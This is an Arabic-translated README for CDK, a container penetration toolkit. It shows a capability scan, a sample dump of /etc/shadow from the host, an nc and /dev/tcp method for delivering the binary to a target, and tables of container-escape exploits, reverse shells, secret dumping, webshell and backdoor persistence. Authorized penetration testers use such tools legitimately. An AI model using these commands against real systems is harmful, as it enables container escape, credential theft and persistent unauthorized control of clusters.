
📦 جعل اختبار الأمان لـ K8s و Docker و Containerd أسهل.
الإنجليزية | 简体中文

استخدام CDK لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. CDK مخصص لأغراض اختبار الأمان فقط.
CDK هي مجموعة أدوات مفتوحة المصدر لاختراق الحاويات، مصممة لتوفير استغلال مستقر في حاويات مختلفة مبسطة دون أي اعتماد على نظام التشغيل. تأتي مع أدوات شبكة مفيدة والعديد من البراهين/الاستغلالات القوية وتساعدك على الهروب من الحاوية والسيطرة على مجموعة K8s بسهولة.
شغّل cdk eva للحصول على معلومات التقييم واستغلال موصى به، ثم شغّل cdk run لبدء الهجوم.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
قم بتنزيل أحدث إصدار من https://github.com/cdk-team/CDK/releases/
ضع الملفات التنفيذية في الحاوية الهدف وابدأ الاختبار.
إذا كان لديك استغلال يمكنه تحميل ملف، فيمكنك تحميل ملف CDK الثنائي مباشرة.
إذا كان لديك استغلال RCE، ولكن الحاوية الهدف لا تحتوي على curl أو wget، فيمكنك استخدام الطريقة التالية لتسليم CDK:
(على مضيفك)
nc -lvp 999 < cdk
cat < /dev/tcp/(عنوان_ip_العام_لمضيفك)/(المنفذ) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
يحتوي CDK على ثلاث وحدات:
الاستخدام
cdk evaluate [--full]
قائمة بجميع الاستغلالات المتاحة:
cdk run --list
تشغيل استغلال مستهدف:
cdk run <اسم-النص> [خيارات]
ملاحظة حول Thin: إصدار thin مُعد للحاويات قصيرة العمر مثل وظائف serverless. نضيف علامات بناء في الكود المصدري ونقص بعض الاستغلالات لجعل الملف الثنائي أخف. يحتوي ملف الـ 2MB على 90% من وظائف CDK، كما يمكنك اختيار استغلالات مفيدة من كود CDK المصري لبناء ثنائي خفيف خاص بك.
تشغيل الأوامر كما في لينكس، مع اختلاف طفيف في وسائط الإدخال، راجع رابط الاستخدام.
cdk nc [خيارات]
cdk ps
إذا كنت تريد معرفة كيف أصدرنا إصدارًا جديدًا، وكيف يتم إنتاج thin، ولماذا نقدم إصدارات upx، وما الفروق بين الإصدارات المختلفة (all, normal, thin, upx)، وكيفية اختيار استغلالات وأدوات CDK محددة لتجميع إصدار خاص بك، يرجى مراجعة وثيقة الإصدار.
أولاً، شكرًا على الوقت الذي خصصته للمساهمة!
شكرًا للمساهمين التاليين:
المزيد من المساهمين: قائمة المساهمين
يتم تتبع الأخطاء كـ مشكلات GitHub. أنشئ مشكلة تتضمن إصدار CDK الحالي ورسالة الخطأ والبيئة. صف الخطوات الدقيقة التي تعيد إنتاج المشكلة.
يتم تتبع اقتراحات التحسين كـ مناقشات GitHub. يمكنك نشر أي أفكار هنا لمناقشة المطورين مباشرة.
إصلاح المشكلات أو الحفاظ على جودة CDK:
ميزة جديدة أو استغلالات:

مشروع CDK أصبح الآن مضمنًا في مشروع 404Team Starlink Project 2.0. انضم إلى مجتمع StarLink للتواصل مع فريق تطوير CDK.
| التكتيكات | النص | مدعوم | الاستخدام/مثال |
|---|
| جمع المعلومات | معلومات نظام التشغيل الأساسية | ✔ | link |
| جمع المعلومات | الإمكانيات المتاحة | ✔ | link |
| جمع المعلومات | أوامر لينكس المتاحة | ✔ | link |
| جمع المعلومات | التركيبات | ✔ | link |
| جمع المعلومات | مساحة اسم الشبكة | ✔ | link |
| جمع المعلومات | المتغيرات البيئية الحساسة | ✔ | link |
| جمع المعلومات | العمليات الحساسة | ✔ | link |
| جمع المعلومات | الملفات المحلية الحساسة | ✔ | link |
| جمع المعلومات | توجيه Kube-proxy للشبكة المحلية (CVE-2020-8558) | ✔ | link |
| جمع المعلومات | اكتشاف الخدمة المستند إلى DNS | ✔ | link |
| الاكتشاف | معلومات خادم K8s Api | ✔ | link |
| الاكتشاف | معلومات حساب خدمة K8s | ✔ | link |
| الاكتشاف | واجهة برمجة تطبيقات بيانات تعريف مزود السحابة | ✔ | link |
| التكتيك | التقنية | اسم استغلال CDK | مدعوم | في Thin | الوثائق |
|---|
| الهروب | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| الهروب | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| الهروب | docker.sock PoC (هجوم DIND) | docker-sock-check | ✔ | ✔ | link |
| الهروب | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| الهروب | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| الهروب | هروب تركيب الجهاز | mount-disk | ✔ | ✔ | link |
| الهروب | هروب LXCFS | lxcfs-rw | ✔ | ✔ | link |
| الهروب | هروب Cgroups | mount-cgroup | ✔ | ✔ | link |
| الهروب | إساءة استخدام هروب مساحة اسم المستخدم غير المميز CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| الهروب | هروب Procfs | mount-procfs | ✔ | ✔ | link |
| الهروب | هروب Ptrace PoC | check-ptrace | ✔ | ✔ | link |
| الهروب | إعادة كتابة Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| الهروب | قراءة ملف عشوائي من النظام المضيف (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| الاكتشاف | تحليل مكونات K8s | service-probe | ✔ | ✔ | link |
| الاكتشاف | تفريغ بيانات Istio Sidecar | istio-check | ✔ | ✔ | link |
| الاكتشاف | تفريغ سياسات أمان بود K8s | k8s-psp-dump | ✔ | link | |
| التحكم عن بُعد | شل عكسي | reverse-shell | ✔ | ✔ | link |
| التحكم عن بُعد | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| الوصول إلى بيانات الاعتماد | هجوم القوة القصيرة على السجل | registry-brute | ✔ | ✔ | link |
| الوصول إلى بيانات الاعتماد | فحص مفتاح الوصول | ak-leakage | ✔ | ✔ | link |
| الوصول إلى بيانات الاعتماد | Etcd الحصول على رمز K8s | etcd-get-k8s-token | ✔ | ✔ | |
| الوصول إلى بيانات الاعتماد | تفريغ أسرار K8s | k8s-secret-dump | ✔ | ✔ | link |
| الوصول إلى بيانات الاعتماد | تفريغ تكوين K8s | k8s-configmap-dump | ✔ | ✔ | link |
| تصعيد الامتيازات | تجاوز K8s RBAC | k8s-get-sa-token | ✔ | ✔ | link |
| تصعيد الامتيازات | CVE-2026-31431 copy-fail (غير الجذر→جذر و x86_64 فقط) | copy-fail-cve-2026-31431 | ✔ | link | |
| الثبات | نشر WebShell | webshell-deploy | ✔ | ✔ | link |
| الثبات | نشر بود خلفي | k8s-backdoor-daemonset | ✔ | ✔ | link |
| الثبات | نشر ظل K8s api-server | k8s-shadow-apiserver | ✔ | link | |
| الثبات | هجوم K8s MITM (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| الثبات | نشر وظيفة CronJob في K8s | k8s-cronjob | ✔ | ✔ | link |
| الأمر | الوصف | مدعوم | الاستخدام/مثال |
|---|
| nc | نفق TCP | ✔ | link |
| ps | معلومات العمليات | ✔ | link |
| netstat | مثل أمر "netstat -antup" | ✔ | |
| ifconfig | معلومات الشبكة | ✔ | link |
| vi | تحرير الملفات | ✔ | link |
| ectl | تعداد غير مصرح به لمفاتيح ectd | ✔ | |
| kcurl | طلب إلى خادم K8s api-server | ✔ | link |
| dcurl | طلب إلى Docker HTTP API | ✔ | link |
| ucurl | طلب إلى Docker Unix Socket | ✔ | link |
| rcurl | طلب إلى Docker Registry API | ||
| probe | فحص IP/المنفذ | ✔ | link |